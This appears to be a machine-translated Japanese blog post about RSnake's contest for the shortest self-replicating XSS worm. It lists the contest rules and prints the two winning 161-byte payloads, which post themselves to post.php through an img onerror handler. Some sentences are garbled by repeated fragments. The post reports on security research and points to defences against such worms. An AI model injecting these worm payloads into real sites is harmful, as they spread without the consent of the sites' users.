XSSワーム:以下は誰ですか?

先日、自分自身をさらにコピーする最小限のJavaScriptコードを作成することを提案するコンテストに関するニュースに出会いました。 競争の著者は、情報セキュリティのかなり大きな専門家であるロバート・ハンセン、別名RSnakeです。



条件





競争の条件に従って 、コードには以下が必要でした:



  1. UTF-8またはISO-8859-1エンコードである必要があります。
  2. POST要求によって、開始元と同じドメイン(GETなし)のpost.php



    ページに自分自身をコピーする必要があります。 テキストパラメータはcontent



    必要がありcontent



    post.php



    はコードを適切にエスケープpost.php



    すると想定できます。
  3. 配布中にサイズが増加することはありません(コードがnバイトで始まる場合、次のステップでn + xに増加することはありません)。 つまり nバイトを超えるコンテンツはpost.php



    スクリプトによって無視されると想定しています。
  4. 書面で開始する必要があります(対応する注入のために他のすべてのパラメーターを後で追加できます)
  5. クエリ文字列のCookieまたはGETパラメーターを使用しないでください(コードのすべての行は、アクティブなXSSとしてページ自体にのみ存在します)。
  6. DOMツリーに関する情報を想定すべきではありませんが、ワームコード自体に含まれている場合はclass



    またはid



    使用できます。 この情報はサイトごとに異なる可能性があるため、ページ上のn番目のスクリプトの検索は使用できません。
  7. 少なくともInternet Explorer 7.0およびFirefox 2.xで動作するはずです。
  8. XSSをページ上のメッセージとして(「ペイロード」として)生成する必要があります。
  9. 少なくともApache 1.3+およびApache 2+サーバーで動作するはずです(つまり、他のサーバーに関連するサーバー依存のものを使用しないでください)。
  10. ユーザーの参加なしで、または各ページで発生する最小限の参加で動作するはずです(たとえば、ページ上の任意の場所でのmouseover



    )。




実行する





コンテストは1月4日に始まり、10で終了しました。著者は数百のオプションを受け取りましたが、そのうちの2つだけが最小限であり、すべての指定された条件下で機能しました。



<form><input name="content"><img src="" onerror="with(parentNode)alert('XSS',submit(content.value='<form>'+

innerHTML.slice(action=(method='post')+'.php',155)))">








そして



<form><INPUT name="content"><IMG src="" onerror="with(parentNode)submit(action=(method='post')+'.php',content.value=

'<form>'+innerHTML.slice(alert('XSS'),155))">








ワームの長さ: 161バイト 。 コードからわかるように、オプションは、言うまでもなく非常によく似ていますが、ほとんど同じです。 競争に関する完全な結論



まとめ





その結果に基づいて、RSnake は短いメモ公開しました。このメモでは、このようなワームから保護する方法を要約しようとしています(結局、最小限のコードには、最も効率的に機能するための共通のシグネチャがあります)。



著者はまた、一般にXSSワームの問題に焦点を当てた大規模な記事を公開しました。XSSワームと戦うことは非常に難しいが、それは可能であると主張しています。 この記事はやや長めですが、非常に興味深いものです。



関連リンク









ご清聴ありがとうございました。 コメントさせていただきます。



Web Optimizator:サイトの読み込み速度の確認



All Articles